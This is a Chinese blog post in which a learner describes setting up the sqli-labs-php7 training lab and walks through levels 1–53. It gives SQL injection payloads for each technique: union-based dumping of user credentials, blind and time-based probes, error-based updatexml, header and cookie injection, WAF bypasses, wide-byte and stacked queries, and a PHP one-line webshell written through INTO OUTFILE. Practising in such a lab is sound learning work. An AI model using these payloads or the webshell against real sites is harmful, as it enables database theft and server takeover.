sqli-labs-php7环境搭建及通关记录
学了一个星期的sql注入,将学习过程记录在博客,以后可以查看。
学习视频来自b站的up主:crowsec
视频链接:https://space.bilibili.com/29903122
sqli-labs-php7链接:https://github.com/skyblueee/sqli-labs-php7.git
Linux环境搭建(我这里用的是kali linux):
1.启动mysql服务:sudo service mysql start
2.登录mysql:sudo mysql -uroot -p
输入密码进行登录
3.设置密码:set password for 'root'@'localhost' =password('xxx');
,然后输入:flush privileges;
回车
4.下载sqli-labs-php7:git clone https://github.com/skyblueee/sqli-labs-php7.git
5.将sqli-labs-php7移动到apache2的目录下并改名为sqli:sudo mv sqli-labs-php7 /var/www/html/sqli
6.修改sqli配置文件:vi /var/www/html/sqli/sql-connections/db-creds.inc
,将dbpass的值改为之前设置的mysql密码,保存退出
7.启动apache服务:sudo service apache2 start
8.访问127.0.0.1/sqli,点击set database后,如果没有出现报错就配置好了。
Windows环境搭建:
1.下载phpstudy(百度解决)
2.下载sqli-labs-php7.zip,然后解压到phpstudy安装目录下的www/html文件夹下
3.启动phpstudy的apache服务和mysql服务
4.修改db-creds.inc,将dbpass设置为mysql密码
5.访问127.0.0.1/sqli,点set database,如果没有报错就配置成功。
插件及工具 :
1.我使用的是firefox浏览器,到插件库里找到hackbar2并安装。
2.burpsuite,强大的工具,盲注可以用得到(功能及用法百度),或者自己写python脚本进行盲注
3.cookie editor,用于cookie注入。
判断包裹的方式:
1.单引号'
2.单引号+单括号')
3.单引号+单括号+单括号'))
4.双引号"
5.双引号+单括号")
6.双引号+单括号+单括号"))
7.无包裹
sql注释方式:
--+
用于url中
--空格
用于url中
;%00
应对于对输入有过滤的情况
/**/
用于提交大数据包,waf绕过
/*!1,2,3*/
mysql内联注释,只能用于mysql,waf绕过
#
用于POST表单中
或其他可用于替换的编码
注入方式总结:
1.联合注入
2.盲注
3.时间注入
4.上传和读取注入
5.GET注入
6.POST注入
7.二次注入
8.请求头注入(ua,referer,cookie)
9.基于报错注入
10.参数污染
11.宽字节注入
12.堆叠注入
waf绕过:
1.白盒绕过(从代码执行顺序绕过)
2.黑盒绕过(架构层面、资源限制角度、协议层面、规则层面)
3.fuzz绕过
sql注入常用到的函数:
database()
database()
显示当前使用的数据库
left()
left(database,1)='s'
判断当前数据库名前1位是否为s,布尔型`
right()
select right(database(),1);
同left,从右边开始
regexp
select user() regexp 'r'
user()的结果是root,regexp为匹配root的正则表达式
like
select user() like 'ro%'
匹配与regexp相似
substr(a,b,c)
substr('abc',2,1)
从2位置开始截取abc字符串1位的长度
ascii()
ascii('a')
将a转换为ascii值,为97
chr()或ord()
chr(97)
将ascii值转换为字符串
show variables like '%secure%';
查看secure-file-priv当前的值,布尔型,表示读取和写入文件的权限
load_file()
load_file('E:\\hello.txt')
读取本地的E:\hello.txt文件
into outfile
select 'hello' into outfile 'E:\\1.txt';
写入一个1.txt,内容是hello,文件位置在E:\
sleep()
sleep(5)
睡5秒
if(a,b,c)
if(1>2,3,4)
如果1>2成立,返回3,不成立则返回4
length()
length(database())
返回当前使用数据库名的长度
updatexml(a,b,c)
updatexml(str,xpath,str)
在第二个参数写入错误的xpath参数,会引起报错,来获得需要的数据
asc
select * from x order by 1 asc;
使用升序排列
desc
select * from x order by 1 desc;
使用降序排列
lines
lines terminated by xxx
以xxx为结尾
基础sql命令:
查库:
select schema_name from information_schema.schemata
查表:
select table_name from information_schema.schemata where table_schema='security'
查列名:
select column_name from information_schema.columns where table_name='users'
查字段:
select username,password from security.users
总结:主要都是围绕这几个语句进行查询
tips:
在学习阶段可以在sqli-labs代码中,加入以下,对sql语句进行判断,方便学习
echo $sql;
echo "
";
less-1:
1.在url结尾加入?id=1,此时查询到数据并回显
2.在id=1后加入',会发现sql语句进行报错,以此判断id=1后是由什么符号进行包裹
3.less-1是以'进行的包裹,在结尾使用注释符--+,再次执行,此时可以发现返回数据正常
4.总结:只要能知道是以什么符合对sql查询语句进行包裹,就可以在url中拼接sql语句进行执行
5.http://127.0.0.1/sqli/?id=1'order by 3 --+
http://127.0.0.1/sqli/?id=-1' union select 1,2,(查询语句)--+使用联合查询,重复此过程直到取出需要的数据。
less-2:
1.和less-1一样,但没有对id进行包裹,因此直接输入一个不存在的id值即可。
2.wp:http://127.0.0.1/sqli/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
重复进行查表、查列名、查字段,直到取出需要的值。
https://127.0.0.1/sqli/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password))from security.users --+
使用~对结果进行连接。
less-3:
1.和以上一样的注入方式,是使用的')包裹方式
2.其余查询方式一样
less-4:
1.和以上一样的注入方式,是使用的")包裹方式
2.其余查询方式一样
less-5:
1.盲注,具体思路,使用ascii,substr等函数对数据库名进行爆破,最终得到正确的数据库名,然后进行查询等操作
2.可以使用burpsuite进行爆破,或者写python代码。
3.http://127.0.0.1/sqli/?id=1' and left(database(),1)='a' --+
或者:http://127.0.0.1/sqli/?id=1' and ascii(substr((database()),1,1))=100--+
less-6:
1.和less-5一样的注入方式,是使用的"包裹方式
less-7:
1.文件读取和上传注入方式,可以读取本地文件,或写入本地文件
2.一句话木马:<?php @eval(_POST[设置你的密码]);?>,成功写入后可以使用蚁剑进行连接,获得webshell
3.此注入方式必须要有读写权限,最好是root权限
4.http://127.0.0.1/sqli/?id=1')) union select 1,2,'<?php @eval(_POST['admin']);?>' into outfile ('E:\\...\\test.php')--+
5.此时可以使用蚁剑进行连接获得webshell,登录密码为设置的amdin。(蚁剑工具百度下载)
less-8:
1.两种注入方式,布尔盲注和时间盲注
2.布尔盲注方式与less-5方式一样,注意判断包裹方式。
3.时间盲注思路:用if函数进行判断,如果条件满足就直接返回网页,否则sleep(5)
4.http://127.0.0.1/sqli/?id=1' and if(ascii(substr((database()),1,1))>100,1,sleep(5))--+
5.其余步骤与布尔盲注无区别。可使用burpsuite或python脚本进行注入。
less-9:
1.与less-8注入方式一样
2.无法使用order by进行判断,任何时候都显示you are in。此时可以使用基于时间盲注,当存在注入漏洞时,会睡眠5秒以此判断。
3.其余与less-8同样的注入方法。
less-10:
1.与less-9注入方式一样,使用双引号进行包裹。
less-11:
1.POST注入方式,可使用burpsuite抓包,对参数进行分析
2.POST注入思路:网页对用户输入没有进行过滤,当输入特殊语句时会改变sql语句的执行,以此进行注入
3.在post表单中,改写uname,改为单引号,当提交的时候会出现sql语句报错,表示可能存在注入漏洞,添加or 1=1,#注释掉后面的内容
4.uname=' or 1=1 #&passwd=admin&submit=Submit,再次提交显示登录成功。
5.uname=' union select 1,group_concat(schema_name)from information_schema.schemata #&passwd=.....
less-12:
1.与less-11类似,双引号包裹
2.其余注入方式与less-11类似
less-13:
1.与less-11类似,但需要盲注,可以使用burpsuite或python脚本进行注入,注意包裹方式。
2.在less-11的基础上添加了盲注
less-14:
1.与less-13类似,不同包裹方式
2.注意是name还是password的注入,注入方式都一样
less-15:
1.与less-14类似,不同包裹方式
less-16:
1.与less-14类似,不同包裹方式
less-17:
1.基于报错注入,updatexml(a,b,c)
2.思路:通过构造第二个参数,使用错误的xpath,会爆出错误,以此获得需要的数据
3.uname=admin&passwd=' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) #&submit=Submit
less-18:
1.头注入
2.通过修改请求头信息,来获取需要的数据,可以通过burpsuite抓包进行修改
3.修改user-agent为:' or updatexml(1,concat(0x7e,(查询语句)),1) or '1'= '1
或者:' or updatexml(1,concat(0x7e,(查询语句)),1),'','')# 进行闭合user-agent参数
less-19:
1.referer注入
2.修改referer:' or updatexml(1,concat(0x7e,(查询语句)),1)and '1'='1
或者:' or updatexml(1,concat(0x7e,(查询语句)),1)'')#
less-20:
1.cookie注入
2.使用cookie editor,修改cookie信息
3.cookie:' union select 1,2,database()#
4.其余查询方式与一般一样的。
less-21:
1.cookie注入,与less-20一样,参数经过base64加密
2.只需要对写好的语句进行base64加密后放入cookie里就可以了。
3.其余查询方式与less-20一样
less-22:
1.cookie注入,与less-21一样,包裹方式不一样
less-23:
1.对用户输入的--+ #进行了过滤处理
2.可以使用特殊注释符;%00进行注释
3.或者使用and '1'='1 或 or '1'='1进行闭合:select * from users where id=1 and 1=1 order by 3;(注意mysql语句执行顺序)
4.其余与一般查询方式一样。
less-24:
1.二次注入
2.思路:在提交用户名时,对特殊符号进行了转义处理不会发生异常,但是当数据取出时会改变sql语句执行,以此注入。
3.创建admin'#帐号,密码随意,进行密码修改,然后登录admin的帐号,这是admin帐号密码已经被更改了
less-25:
1.waf绕过,不区分大小写and or过滤,数据库名内的or也会被过滤
2.采用双写绕过:oorr aanndd
或者:采用|| &&符号绕过
less-25a:
1.同less-25,对id进行了包裹
2.基于报错注入,或者基于时间注入
less-26:
1.注释过滤,and or过滤,空格过滤
2.采用|| && ;%00 空格替换符 进行注入
less-26a:
1.同less-26,注意替换所有的空格和敏感字符,注意包裹方式
less-27:
1.同less-26a,注意包裹方式
2.联合注入方式,或报错注入方式
less-27a:
1.同less-27
2.大小写混合,基于时间盲注或者报错注入
less-28:
1.同less27,包裹方式不一样
2.http://127.0.0.1/sqli/?id=111') %a0 union %a0 select %a0 1,2,3||('1')=('1
less-28a:
1.同less-28,包裹相似,注释符过滤不同,或者使用时间盲注
less-29:
1.jsp服务器搭建,客户端将参数传给tomcat解析地一个参数,再传给apache解析第二个参数
2.使用参数污染的方式注入,对第二个参数进行注入
3.http://127.0.0.1/sqli/index.jsp?id=1&id=3' union select 1,2,3 --+
less-30:
1.同less-29,包裹方式不同,双引号
less-31:
1.同less-29,包裹方式不同,双引号+单括号
less-32:
1.宽字节注入
2.特殊的宽字节:%df %5c %27
3.http://127.0.0.1/sqli/?id=-1%df' union select 1,2,group_concat(schema_nam)from infromation_schema.schemata --+
less-33:
1.同less-32,32是自定义参数过滤,此关是addslashes()函数过滤(具体可查百度函数使用方法)
less-34:
1.是使用POST进行传参,对%也进行了转码
2.可使用burpsuite抓包后进行宽字节注入
less-35:
1.同less-33,包裹方式不同,此处没有对参数进行包裹
less-36:
1.同less-33,使用了mysql_real_escape_string()函数,过滤了更多的特殊字符,具体可查百度函数用法
less-37:
1.同less-34,post传参,包裹方式不同你,使用的过滤函数为mysql_real_escape_stringg()
less-38:
1.堆叠注入(有局限性)
2.http://127.0.0.1/sqli/?id=1';create table crow like users; --+
less-39:
1.同less-38,包裹方式不同
less-40:
1.同less-38,包裹方式不同
less-41:
1.同less-38,包裹方式不同,不显示sql报错信息
less-42:
1.POST注入,password二次注入,堆叠注入(虽然网页报错,但是注入也会成功)
less-43:
1.同less-42,对于表单数据包裹不同
less-44:
1.同less-42,没有回显信息
less-45:
1.同less-43,不同的是sql语句构造
less-46:
1.sort排列
2.报错注入或时间注入
3.http://127.0.0.1/sqli/?sort=3 and updatexml(1,concat(0x7e,(database())),1)--+
less-47:
1.同less-46,order by的包裹方式不一样
less-48:
1.同less-46,但不能使用报错注入,只能使用时间注入
less-49:
1.同less-48,包裹方式不一样
less-50:
1.堆叠注入,order by注入
less-51:
1.同less-50,包裹方式不同
less-52:
1.同less-50,无报错回显,不能使用报错注入
less-53:
1.同less-50,id包裹不同,不能使用报错注入
less-54---less-65
1.挑战关卡,基本上操作都是一样,是之前所有关卡的搭配。